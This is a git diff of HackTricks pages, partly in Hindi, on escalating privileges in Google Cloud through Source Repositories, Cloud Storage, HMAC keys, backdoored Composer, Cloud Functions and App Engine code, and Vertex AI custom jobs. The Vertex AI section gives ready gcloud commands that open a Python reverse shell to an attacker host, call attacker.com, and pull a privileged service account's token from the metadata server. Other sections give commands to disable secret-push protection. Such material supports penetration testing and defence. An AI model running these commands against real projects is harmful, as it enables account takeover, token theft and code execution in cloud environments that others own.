### **`serviceusage.services.enable`** , **`serviceusage.services.use`**
|
||||
|
||||
इन अनुमतियों के साथ, एक हमलावर प्रोजेक्ट में नई सेवाओं को सक्षम और उपयोग कर सकता है। इससे एक **हमलावर को admin या cloudidentity जैसी सेवाओं को सक्षम करने की अनुमति मिल सकती है** ताकि वह Workspace की जानकारी तक पहुँचने की कोशिश कर सके, या अन्य सेवाओं के माध्यम से दिलचस्प डेटा तक पहुँच सके।
|
||||
इन permissions के साथ एक attacker प्रोजेक्ट में नए services को enable और use कर सकता है। इससे एक **attacker को admin या cloudidentity जैसी service enable** करके Workspace जानकारी तक पहुँचने की कोशिश करने, या अन्य services के माध्यम से रोचक डेटा एक्सेस करने की अनुमति मिल सकती है।
|
||||
|
||||
## **References**
|
||||
## **संदर्भ**
|
||||
|
||||
- [https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/](https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Support HackTricks and get benefits!</strong></summary>
|
||||
<summary><strong>HackTricks का समर्थन करें और लाभ पाएं!</strong></summary>
|
||||
|
||||
क्या आप एक **साइबरसिक्योरिटी कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित होते देखना चाहते हैं**? या क्या आप **PEASS का नवीनतम संस्करण देखने या HackTricks को PDF में डाउनलोड करने** की इच्छा रखते हैं? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) की जाँच करें!
|
||||
क्या आप किसी **cybersecurity company** में काम करते हैं? क्या आप अपनी **company को HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आप **PEASS के latest version या HackTricks को PDF में डाउनलोड** करना चाहते हैं? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
[**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) का संग्रह
|
||||
Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), हमारी exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन
|
||||
|
||||
[**official PEASS & HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें
|
||||
Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
|
||||
**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) या [**telegram group**](https://t.me/peass) या **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) या the [**telegram group**](https://t.me/peass) या **follow करें** मुझे **Twitter** पर [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
|
||||
**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)\*\*\*\*
|
||||
**अपने hacking tricks साझा करें PRs सबमिट करके to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)\*\*\*\*
|
||||
|
||||
**.**
|
||||
|
||||
|
||||
+28
-16
@@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## स्रोत रिपॉजिटरी
|
||||
## Source Repositories
|
||||
|
||||
Source Repositories के बारे में अधिक जानकारी के लिए देखें:
|
||||
|
||||
@@ -12,28 +12,32 @@ Source Repositories के बारे में अधिक जानका
|
||||
|
||||
### `source.repos.get`
|
||||
|
||||
इस अनुमति के साथ, स्थानीय रूप से रिपॉजिटरी डाउनलोड करना संभव है:
|
||||
इस अनुमति के साथ रिपॉज़िटरी को स्थानीय रूप से डाउनलोड करना संभव है:
|
||||
|
||||
<details><summary>Clone source repository</summary>
|
||||
```bash
|
||||
gcloud source repos clone <repo-name> --project=<project-uniq-name>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `source.repos.update`
|
||||
|
||||
इस अनुमति के साथ एक प्रिंसिपल **`gcloud source repos clone <repo>`** के साथ क्लोन किए गए रिपॉजिटरी के अंदर कोड लिखने में सक्षम होगा। लेकिन ध्यान दें कि यह अनुमति कस्टम भूमिकाओं से संलग्न नहीं की जा सकती, इसलिए इसे पूर्वनिर्धारित भूमिका के माध्यम से दिया जाना चाहिए जैसे:
|
||||
इस अनुमति वाले प्रिंसिपल को **`gcloud source repos clone <repo>` के साथ क्लोन किए गए रिपॉजिटरी के अंदर कोड लिखने की क्षमता** होगी। ध्यान रखें कि इस अनुमति को custom roles से अटैच नहीं किया जा सकता, इसलिए यह किसी predefined role के द्वारा दी जानी चाहिए जैसे:
|
||||
|
||||
- Owner
|
||||
- Editor
|
||||
- Source Repository Administrator (`roles/source.admin`)
|
||||
- Source Repository Writer (`roles/source.writer`)
|
||||
|
||||
लिखने के लिए बस एक नियमित **`git push`** करें।
|
||||
लिखने के लिए बस एक सामान्य **`git push`** करें।
|
||||
|
||||
### `source.repos.setIamPolicy`
|
||||
|
||||
इस अनुमति के साथ एक हमलावर अपने लिए पिछले अनुमतियों को प्रदान कर सकता है।
|
||||
इस अनुमति के साथ attacker स्वयं को पिछले permissions दे सकता है।
|
||||
|
||||
### Secret access
|
||||
|
||||
यदि हमलावर के पास **गुप्तों तक पहुंच** है जहाँ टोकन संग्रहीत हैं, तो वह उन्हें चुरा सकता है। गुप्त तक पहुँचने के तरीके के बारे में अधिक जानकारी के लिए देखें:
|
||||
यदि attacker को वे **secrets** तक पहुँच है जहाँ tokens स्टोर होते हैं, तो वह उन्हें चुरा सकेगा। किसी secret तक कैसे पहुँचें इसके बारे में अधिक जानकारी के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
gcp-secretmanager-privesc.md
|
||||
@@ -41,39 +45,47 @@ gcp-secretmanager-privesc.md
|
||||
|
||||
### Add SSH keys
|
||||
|
||||
यह संभव है कि **Source Repository प्रोजेक्ट में ssh keys जोड़ी जाएं** वेब कंसोल में। यह **`/v1/sshKeys:add`** पर एक पोस्ट अनुरोध करता है और इसे [https://source.cloud.google.com/user/ssh_keys](https://source.cloud.google.com/user/ssh_keys) पर कॉन्फ़िगर किया जा सकता है।
|
||||
वेब कंसोल में Source Repository project में **ssh keys जोड़ना** संभव है। यह एक POST request **`/v1/sshKeys:add`** बनाता है और इसे [https://source.cloud.google.com/user/ssh_keys](https://source.cloud.google.com/user/ssh_keys) में कॉन्फ़िगर किया जा सकता है
|
||||
|
||||
एक बार जब आपकी ssh कुंजी सेट हो जाती है, तो आप एक रिपॉजिटरी तक पहुँच सकते हैं:
|
||||
एक बार आपका ssh key सेट हो जाने पर, आप एक repo तक पहुँच सकते हैं:
|
||||
|
||||
<details><summary>SSH का उपयोग करके रिपॉजिटरी क्लोन करें</summary>
|
||||
```bash
|
||||
git clone ssh://username@domain.com@source.developers.google.com:2022/p/<proj-name>/r/<repo-name>
|
||||
```
|
||||
और फिर **`git`** कमांड का उपयोग सामान्य रूप से करें।
|
||||
</details>
|
||||
|
||||
और फिर सामान्य रूप से **`git`** कमांड का उपयोग करें।
|
||||
|
||||
### मैनुअल क्रेडेंशियल्स
|
||||
|
||||
Source Repositories तक पहुँचने के लिए मैनुअल क्रेडेंशियल्स बनाना संभव है:
|
||||
Source Repositories तक पहुँचने के लिए मैनुअल क्रेडेंशियल बनाना संभव है:
|
||||
|
||||
<figure><img src="../../../images/image (324).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
पहले लिंक पर क्लिक करने से आप [https://source.developers.google.com/auth/start?scopes=https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform\&state\&authuser=3](https://source.developers.google.com/auth/start?scopes=https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform&state&authuser=3) पर पहुँचेंगे
|
||||
पहले लिंक पर क्लिक करने से यह आपको [https://source.developers.google.com/auth/start?scopes=https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform\&state\&authuser=3](https://source.developers.google.com/auth/start?scopes=https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform&state&authuser=3) पर ले जाएगा
|
||||
|
||||
जो **Oauth प्राधिकरण प्रॉम्प्ट** को प्रदर्शित करेगा ताकि **Google Cloud Development** तक पहुँच मिल सके। इसलिए आपको या तो **उपयोगकर्ता के क्रेडेंशियल्स** की आवश्यकता होगी या इसके लिए **ब्राउज़र में एक खुला सत्र** होना चाहिए।
|
||||
यह एक **Oauth authorization prompt** दिखाएगा जो **Google Cloud Development** को एक्सेस देने के लिए होगा। इसलिए इसके लिए आपको या तो **उपयोगकर्ता के क्रेडेंशियल्स** या ब्राउज़र में एक **खुला सत्र** चाहिए होगा।
|
||||
|
||||
यह आपको एक पृष्ठ पर भेजेगा जिसमें **एक bash स्क्रिप्ट निष्पादित करने** और **`$HOME/.gitcookies`** में एक git कुकी कॉन्फ़िगर करने के लिए है।
|
||||
यह आपको एक पेज पर भेजेगा जिसमें एक **bash script to execute** होगा और यह git cookie को **`$HOME/.gitcookies`** में कॉन्फ़िगर करेगा।
|
||||
|
||||
<figure><img src="../../../images/image (323).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
स्क्रिप्ट निष्पादित करने के बाद आप git clone, push... का उपयोग कर सकते हैं... और यह काम करेगा।
|
||||
स्क्रिप्ट चलाने के बाद आप git clone, push... आदि का उपयोग कर सकते हैं और यह काम करेगा।
|
||||
|
||||
### `source.repos.updateProjectConfig`
|
||||
|
||||
इस अनुमति के साथ, Source Repositories की डिफ़ॉल्ट सुरक्षा को अक्षम करना संभव है ताकि प्राइवेट कीज़ वाले कोड को अपलोड न किया जा सके:
|
||||
इस अनुमति के साथ Source Repositories की डिफ़ॉल्ट सुरक्षा को अक्षम करना संभव है ताकि Private Keys वाले कोड को अपलोड न किया जा सके:
|
||||
|
||||
<details><summary>pushblock को disable करें और pub/sub configuration को modify करें</summary>
|
||||
```bash
|
||||
gcloud source project-configs update --disable-pushblock
|
||||
```
|
||||
आप एक अलग pub/sub विषय को भी कॉन्फ़िगर कर सकते हैं या इसे पूरी तरह से बंद कर सकते हैं:
|
||||
आप एक अलग pub/sub topic भी कॉन्फ़िगर कर सकते हैं या इसे पूरी तरह से निष्क्रिय भी कर सकते हैं:
|
||||
```bash
|
||||
gcloud source project-configs update --remove-topic=REMOVE_TOPIC
|
||||
gcloud source project-configs update --remove-topic=UPDATE_TOPIC
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -12,18 +12,18 @@
|
||||
|
||||
### `storage.objects.get`
|
||||
|
||||
यह अनुमति आपको **Cloud Storage के अंदर संग्रहीत फ़ाइलों को डाउनलोड करने** की अनुमति देती है। यह संभावित रूप से आपको विशेषाधिकार बढ़ाने की अनुमति देगी क्योंकि कुछ अवसरों पर **संवेदनशील जानकारी वहाँ सहेजी जाती है**। इसके अलावा, कुछ GCP सेवाएँ अपनी जानकारी बकेट में संग्रहीत करती हैं:
|
||||
This permission आपको Cloud Storage के अंदर stored files को **download** करने की अनुमति देता है। कभी-कभी **संवेदनशील जानकारी वहीं saved रहती है**, इसलिए यह privilege escalation की संभावना पैदा कर सकता है। इसके अलावा, कुछ GCP सेवाएँ अपनी जानकारी buckets में स्टोर करती हैं:
|
||||
|
||||
- **GCP Composer**: जब आप एक Composer Environment बनाते हैं, तो **सभी DAGs का कोड** एक **बकेट** के अंदर सहेजा जाएगा। इन कार्यों में उनके कोड के अंदर दिलचस्प जानकारी हो सकती है।
|
||||
- **GCR (Container Registry)**: कंटेनरों की **छवि** **बकेट** के अंदर संग्रहीत होती है, जिसका अर्थ है कि यदि आप बकेट को पढ़ सकते हैं, तो आप छवियों को डाउनलोड कर सकेंगे और **लीक और/या स्रोत कोड** के लिए खोज कर सकेंगे।
|
||||
- **GCP Composer**: जब आप एक Composer Environment बनाते हैं तो सभी DAGs का **code** एक **bucket** के अंदर saved रहता है। इन tasks के code में दिलचस्प जानकारी मिल सकती है।
|
||||
- **GCR (Container Registry)**: containers की **image** भी **buckets** में stored होती हैं, जिसका मतलब है कि अगर आप buckets पढ़ सकते हैं तो images डाउनलोड करके **search for leaks and/or source code** कर पाएंगे।
|
||||
|
||||
### `storage.objects.setIamPolicy`
|
||||
|
||||
आपको **इस अनुभाग के पिछले परिदृश्यों का दुरुपयोग करने** की अनुमति देने के लिए अनुमति दे सकते हैं।
|
||||
यह permission आपको इस सेक्शन के किसी भी पहले बताए गए scenario को **abuse** करने की अनुमति दे सकता है।
|
||||
|
||||
### **`storage.buckets.setIamPolicy`**
|
||||
|
||||
इस अनुमति के साथ अनुमतियों को संशोधित करने के लिए एक उदाहरण के लिए इस पृष्ठ की जांच करें:
|
||||
permissions को modify करने का एक उदाहरण देखने के लिए इस पेज को देखें:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-unauthenticated-enum-and-access/gcp-storage-unauthenticated-enum/gcp-public-buckets-privilege-escalation.md
|
||||
@@ -31,7 +31,9 @@
|
||||
|
||||
### `storage.hmacKeys.create`
|
||||
|
||||
Cloud Storage की "इंटरऑपरेबिलिटी" विशेषता, जो **AWS S3 के साथ क्रॉस-क्लाउड इंटरैक्शन** के लिए डिज़ाइन की गई है, में **सेवा खातों और उपयोगकर्ताओं के लिए HMAC कुंजी का निर्माण** शामिल है। एक हमलावर इसका लाभ उठा सकता है **उच्च विशेषाधिकारों के साथ सेवा खाते के लिए HMAC कुंजी उत्पन्न करके**, इस प्रकार **Cloud Storage के भीतर विशेषाधिकार बढ़ाना**। जबकि उपयोगकर्ता से संबंधित HMAC कुंजी केवल वेब कंसोल के माध्यम से पुनः प्राप्त की जा सकती हैं, दोनों एक्सेस और गुप्त कुंजी **सदा के लिए सुलभ** रहती हैं, संभावित बैकअप एक्सेस स्टोरेज की अनुमति देती हैं। इसके विपरीत, सेवा खाते से जुड़े HMAC कुंजी API-सुलभ हैं, लेकिन उनकी एक्सेस और गुप्त कुंजी निर्माण के बाद पुनः प्राप्त नहीं की जा सकती, निरंतर पहुँच के लिए जटिलता की एक परत जोड़ती है।
|
||||
Cloud Storage की "interoperability" feature, जो AWS S3 जैसी cross-cloud interactions के लिए डिज़ाइन की गई है, में **Service Accounts और users के लिए HMAC keys का creation** शामिल है। एक attacker इसका फायदा उठाकर **उच्च privileges वाले Service Account के लिए HMAC key generate** कर सकता है, और इस तरह Cloud Storage के अंदर **privileges escalate** कर सकता है। जबकि user-associated HMAC keys केवल web console से retrieveable होते हैं, access और secret keys दोनों **perpetually accessible** रह सकते हैं, जो potential backup access storage की अनुमति देते हैं। इसके विपरीत, Service Account-linked HMAC keys API-accessible होते हैं, लेकिन उनके access और secret keys creation के बाद retrievable नहीं होते, जो continuous access के मामले में जटिलता जोड़ता है।
|
||||
|
||||
<details><summary>Create and use HMAC key for privilege escalation</summary>
|
||||
```bash
|
||||
# Create key
|
||||
gsutil hmac create <sa-email> # You might need to execute this inside a VM instance
|
||||
@@ -61,52 +63,54 @@ gsutil ls gs://[BUCKET_NAME]
|
||||
# Restore
|
||||
gcloud config set pass_credentials_to_gsutil true
|
||||
```
|
||||
</details>
|
||||
|
||||
Another exploit script for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/storage.hmacKeys.create.py).
|
||||
|
||||
## `storage.objects.create`, `storage.objects.delete` = Storage Write permissions
|
||||
### `storage.objects.create`, `storage.objects.delete` = Storage Write permissions
|
||||
|
||||
एक बकेट के अंदर **नया ऑब्जेक्ट बनाने** के लिए आपको `storage.objects.create` की आवश्यकता है और, [दस्तावेज़ों](https://cloud.google.com/storage/docs/access-control/iam-permissions#object_permissions) के अनुसार, आपको एक मौजूदा ऑब्जेक्ट को **संशोधित** करने के लिए `storage.objects.delete` की भी आवश्यकता है।
|
||||
एक bucket के अंदर नया ऑब्जेक्ट **create** करने के लिए आपको `storage.objects.create` चाहिए और, [the docs](https://cloud.google.com/storage/docs/access-control/iam-permissions#object_permissions) के अनुसार, किसी मौजूद ऑब्जेक्ट को **modify** करने के लिए आपको `storage.objects.delete` भी चाहिए।
|
||||
|
||||
क्लाउड में लिखने के लिए बकेट का एक बहुत **सामान्य शोषण** तब होता है जब **बकेट वेब सर्वर फ़ाइलों को सहेज रहा है**, आप **नया कोड स्टोर** करने में सक्षम हो सकते हैं जो वेब एप्लिकेशन द्वारा उपयोग किया जाएगा।
|
||||
एक बहुत ही सामान्य exploitation उन buckets का होता है जिनमें आप क्लाउड में लिख सकते हैं — खासकर जब वह **bucket web server files सेव कर रहा हो**, तब आप ऐसा कर सकते हैं कि नया code स्टोर कर दें जो web application द्वारा उपयोग में लाया जाएगा।
|
||||
|
||||
### Composer
|
||||
|
||||
**Composer** **Apache Airflow** है जो GCP के अंदर प्रबंधित है। इसमें कई दिलचस्प विशेषताएँ हैं:
|
||||
**Composer** GCP के अंदर managed **Apache Airflow** है। इसमें कुछ महत्वपूर्ण विशेषताएँ हैं:
|
||||
|
||||
- यह एक **GKE क्लस्टर** के अंदर चलता है, इसलिए **क्लस्टर द्वारा उपयोग किया जाने वाला SA कोड के द्वारा पहुंच योग्य है जो Composer के अंदर चल रहा है**
|
||||
- Composer वातावरण के सभी घटक (**DAGs का कोड**, प्लगइन्स और डेटा) एक GCP बकेट के अंदर संग्रहीत होते हैं। यदि हमलावर के पास इसके ऊपर पढ़ने और लिखने की अनुमति है, तो वह बकेट की निगरानी कर सकता है और **जब भी एक DAG बनाया या अपडेट किया जाता है, एक बैकडोर संस्करण सबमिट कर सकता है** ताकि Composer वातावरण स्टोरेज से बैकडोर संस्करण प्राप्त कर सके।
|
||||
- यह **GKE cluster** के अंदर चलता है, इसलिए cluster जो **SA** उपयोग करता है वह Composer के अंदर चल रहे code द्वारा accessible होता है।
|
||||
- Composer environments के सभी components (यानी **code of DAGs**, plugins और data) एक GCP bucket में store होते हैं। अगर attacker के पास उस पर read और write permissions हैं, तो वह bucket को monitor कर सकता है और **जब भी कोई DAG बनाया या अपडेट किया जाए, एक backdoored version submit कर सकता है** ताकि composer environment storage से वह backdoored version ले ले।
|
||||
|
||||
**आप इस हमले का PoC इस रिपॉजिटरी में पा सकते हैं:** [**https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs**](https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs)
|
||||
**You can find a PoC of this attack in the repo:** [**https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs**](https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs)
|
||||
|
||||
### Cloud Functions
|
||||
|
||||
- Cloud Functions का कोड स्टोरेज में संग्रहीत होता है और जब भी एक नया संस्करण बनाया जाता है, तो कोड बकेट में पुश किया जाता है और फिर इस कोड से नया कंटेनर बनाया जाता है। इसलिए, **नए संस्करण के बनने से पहले कोड को ओवरराइट करना संभव है ताकि क्लाउड फ़ंक्शन मनमाना कोड निष्पादित कर सके**।
|
||||
- Cloud Functions का code Storage में store होता है और जब भी नया version बनाया जाता है तो code bucket में push होता है और फिर उसी code से नया container build होता है। इसलिए, **नए version के build होने से पहले code को overwrite कर देना संभव है ताकि cloud function arbitrary code execute करे**।
|
||||
|
||||
**आप इस हमले का PoC इस रिपॉजिटरी में पा सकते हैं:** [**https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions**](https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions)
|
||||
**You can find a PoC of this attack in the repo:** [**https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions**](https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions)
|
||||
|
||||
### App Engine
|
||||
|
||||
AppEngine संस्करण एक बकेट के अंदर कुछ डेटा उत्पन्न करते हैं जिसका प्रारूप नाम है: `staging.<project-id>.appspot.com`। इस बकेट के अंदर, एक फ़ोल्डर पाया जा सकता है जिसे `ae` कहा जाता है, जिसमें AppEngine ऐप के प्रत्येक संस्करण के लिए एक फ़ोल्डर होगा और इन फ़ोल्डरों के अंदर `manifest.json` फ़ाइल पाई जा सकती है। इस फ़ाइल में एक json होता है जिसमें सभी फ़ाइलें होती हैं जो विशिष्ट संस्करण बनाने के लिए उपयोग की जानी चाहिए। इसके अलावा, **फ़ाइलों के वास्तविक नाम, GCP बकेट के अंदर उनके लिए URL (बकेट के अंदर फ़ाइलों ने अपने नाम को उनके sha1 हैश के लिए बदल दिया) और प्रत्येक फ़ाइल का sha1 हैश पाया जा सकता है।**
|
||||
AppEngine versions कुछ डेटा `staging.<project-id>.appspot.com` नाम के bucket में generate करते हैं। इस bucket के अंदर `ae` नाम का एक फ़ोल्डर मिलता है जिसमें AppEngine app के प्रत्येक version का एक फ़ोल्डर होगा और उन फ़ोल्डर्स के अंदर `manifest.json` फ़ाइल मिलेगी। इस फ़ाइल में उस specific version को बनाने के लिए उपयोग होने वाली सभी फ़ाइलों का JSON होता है। इसके अलावा, यहाँ आप फ़ाइलों के **real names, उनके GCP bucket के अंदर के URLs (बकेट के अंदर फ़ाइलों के नाम उनके sha1 hash में बदल दिए गए हैं) और प्रत्येक फ़ाइल का sha1 hash** भी पा सकते हैं।
|
||||
|
||||
_ध्यान दें कि इस बकेट को पूर्व-टेकओवर करना संभव नहीं है क्योंकि GCP उपयोगकर्ताओं को appspot.com डोमेन नाम का उपयोग करके बकेट बनाने के लिए अधिकृत नहीं किया गया है।_
|
||||
_Note that it's not possible to pre-takeover this bucket because GCP users aren't authorized to generate buckets using the domain name appspot.com._
|
||||
|
||||
हालांकि, इस बकेट पर पढ़ने और लिखने की पहुंच के साथ, यह App Engine संस्करण से जुड़े SA के लिए विशेषाधिकार बढ़ाना संभव है बकेट की निगरानी करके और जब भी कोई परिवर्तन किया जाता है (नया संस्करण), नए संस्करण को यथाशीघ्र संशोधित करना। इस तरह, इस कोड से बनाया गया कंटेनर बैकडोर कोड निष्पादित करेगा।
|
||||
हालाँकि, इस bucket पर read & write access होने पर App Engine version से जुड़े SA को escalate करना संभव है — बस bucket को monitor करके और जब भी कोई change (नया version) होता है, नए version को जितनी जल्दी हो सके modify कर देना। इस तरह, उस code से बन रहा container backdoored code execute करेगा।
|
||||
|
||||
उल्लेखित हमला कई अलग-अलग तरीकों से किया जा सकता है, इनमें से सभी `staging.<project-id>.appspot.com` बकेट की निगरानी करके शुरू होते हैं:
|
||||
यह हमला कई तरीकों से किया जा सकता है, सभी की शुरुआत `staging.<project-id>.appspot.com` bucket की monitoring से होती है:
|
||||
|
||||
- AppEngine संस्करण का पूरा नया कोड एक अलग और उपलब्ध बकेट में अपलोड करें और **`manifest.json` फ़ाइल को नए बकेट नाम और उनके sha1 हैश के साथ तैयार करें**। फिर, जब बकेट के अंदर एक नया संस्करण बनाया जाता है, तो आपको केवल `manifest.json` फ़ाइल को संशोधित करना है और दुर्भावनापूर्ण फ़ाइल अपलोड करनी है।
|
||||
- एक संशोधित `requirements.txt` संस्करण अपलोड करें जो **दुर्भावनापूर्ण निर्भरताओं के कोड का उपयोग करेगा और `manifest.json`** फ़ाइल को नए फ़ाइल नाम, URL और इसके हैश के साथ अपडेट करेगा।
|
||||
- एक **संशोधित `main.py` या `app.yaml` फ़ाइल अपलोड करें जो दुर्भावनापूर्ण कोड निष्पादित करेगी** और `manifest.json` फ़ाइल को नए फ़ाइल नाम, URL और इसके हैश के साथ अपडेट करेगी।
|
||||
- AppEngine version का पूरा नया code किसी दूसरे उपलब्ध bucket में upload करें और एक **`manifest.json`** फ़ाइल तैयार रखें जिसमें नए bucket का नाम और उनकी sha1 hashes हों। फिर जब original bucket में नया version बने, आप बस `manifest.json` को modify करके malicious वाला upload कर दें।
|
||||
- एक modified `requirements.txt` upload करें जो malicious dependencies को उपयोग करेगा और `manifest.json` को नए filename, URL और hash के साथ update कर दें।
|
||||
- एक modified `main.py` या `app.yaml` upload करें जो malicious code execute करे और `manifest.json` को नए filename, URL और hash के साथ update कर दें।
|
||||
|
||||
**आप इस हमले का PoC इस रिपॉजिटरी में पा सकते हैं:** [**https://github.com/carlospolop/Monitor-Backdoor-AppEngine**](https://github.com/carlospolop/Monitor-Backdoor-AppEngine)
|
||||
**You can find a PoC of this attack in the repo:** [**https://github.com/carlospolop/Monitor-Backdoor-AppEngine**](https://github.com/carlospolop/Monitor-Backdoor-AppEngine)
|
||||
|
||||
### GCR
|
||||
|
||||
- **Google Container Registry** बकेट के अंदर छवियों को संग्रहीत करता है, यदि आप **इन बकेट्स में लिख सकते हैं** तो आप **बाद में उन बकेट्स तक lateral move कर सकते हैं जहां ये बकेट्स चल रहे हैं।**
|
||||
- GCR द्वारा उपयोग किया जाने वाला बकेट एक URL के समान होगा `gs://<eu/usa/asia/nothing>.artifacts.<project>.appspot.com` (शीर्ष स्तर के उपडोमेन [यहां](https://cloud.google.com/container-registry/docs/pushing-and-pulling) निर्दिष्ट हैं)।
|
||||
- **Google Container Registry** images को buckets में store करता है; अगर आप उन buckets में **write** कर सकते हैं तो आप संभवतः उन जगहों पर **move laterally** कर सकते हैं जहाँ वे buckets run हो रहे हैं।
|
||||
- GCR जो bucket उपयोग करता है उसका URL कुछ इस तरह होगा: `gs://<eu/usa/asia/nothing>.artifacts.<project>.appspot.com` (Top level subdomains यहाँ specified हैं: [https://cloud.google.com/container-registry/docs/pushing-and-pulling]).
|
||||
|
||||
> [!TIP]
|
||||
> यह सेवा अप्रचलित है इसलिए यह हमला अब उपयोगी नहीं है। इसके अलावा, आर्टिफैक्ट रजिस्ट्री, जो इस सेवा का स्थानापन्न है, बकेट में छवियों को संग्रहीत नहीं करती है।
|
||||
> This service is deprecated so this attack is no longer useful. Moreover, Artifact Registry, the service that substitutes this one, does't store the images in buckets.
|
||||
|
||||
## **References**
|
||||
|
||||
|
||||
@@ -0,0 +1,717 @@
|
||||
# GCP - Vertex AI Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Vertex AI
|
||||
|
||||
For more information about Vertex AI check:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-vertex-ai-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `aiplatform.customJobs.create`, `iam.serviceAccounts.actAs`
|
||||
|
||||
लक्षित service account पर `aiplatform.customJobs.create` permission और `iam.serviceAccounts.actAs` होने पर, एक हमलावर उच्चाधिकारों के साथ मनमाना कोड चला सकता है।
|
||||
|
||||
यह इस तरह काम करता है: एक custom training job बनाकर जो हमलावर-नियंत्रित कोड चलाता है (या तो एक custom container या Python package)। `--service-account` flag के माध्यम से किसी privileged service account को निर्दिष्ट करके, job उस service account के permissions inherit कर लेता है। यह job Google-managed infrastructure पर चलता है और GCP metadata service तक पहुँच रखता है, जिससे service account के OAuth access token को निकालना संभव हो जाता है।
|
||||
|
||||
**प्रभाव**: लक्ष्य service account के permissions तक पूर्ण privilege escalation।
|
||||
|
||||
<details>
|
||||
|
||||
<summary>reverse shell के साथ custom job बनाना</summary>
|
||||
```bash
|
||||
# Method 1: Reverse shell to attacker-controlled server (most direct access)
|
||||
gcloud ai custom-jobs create \
|
||||
--region=<region> \
|
||||
--display-name=revshell-job \
|
||||
--worker-pool-spec=machine-type=n1-standard-4,replica-count=1,container-image-uri=us-docker.pkg.dev/vertex-ai/training/tf-cpu.2-17.py310:latest \
|
||||
--command=sh \
|
||||
--args=-c,"curl http://attacker.com" \
|
||||
--service-account=<target-sa>@<project-id>.iam.gserviceaccount.com
|
||||
|
||||
# On your attacker machine, start a listener first:
|
||||
# nc -lvnp 4444
|
||||
# Once connected, you can extract the token with:
|
||||
# curl -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
|
||||
|
||||
# Method 2: Python reverse shell (if bash reverse shell is blocked)
|
||||
gcloud ai custom-jobs create \
|
||||
--region=<region> \
|
||||
--display-name=revshell-job \
|
||||
--worker-pool-spec=machine-type=n1-standard-4,replica-count=1,container-image-uri=us-docker.pkg.dev/vertex-ai/training/tf-cpu.2-17.py310:latest \
|
||||
--command=sh \
|
||||
--args=-c,"python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"YOUR-IP\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/bash\",\"-i\"])'" \
|
||||
--service-account=<target-sa>@<project-id>.iam.gserviceaccount.com
|
||||
```
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>वैकल्पिक: logs से token निकालें</summary>
|
||||
```bash
|
||||
# Method 3: View in logs (less reliable, logs may be delayed)
|
||||
gcloud ai custom-jobs create \
|
||||
--region=<region> \
|
||||
--display-name=token-exfil-job \
|
||||
--worker-pool-spec=machine-type=n1-standard-4,replica-count=1,container-image-uri=us-docker.pkg.dev/vertex-ai/training/tf-cpu.2-17.py310:latest \
|
||||
--command=sh \
|
||||
--args=-c,"curl -s -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token && sleep 60" \
|
||||
--service-account=<target-sa>@<project-id>.iam.gserviceaccount.com
|
||||
|
||||
# Monitor the job logs to get the token
|
||||
gcloud ai custom-jobs stream-logs <job-id> --region=<region>
|
||||
```
|
||||
</details>
|
||||
|
||||
> [!CAUTION]
|
||||
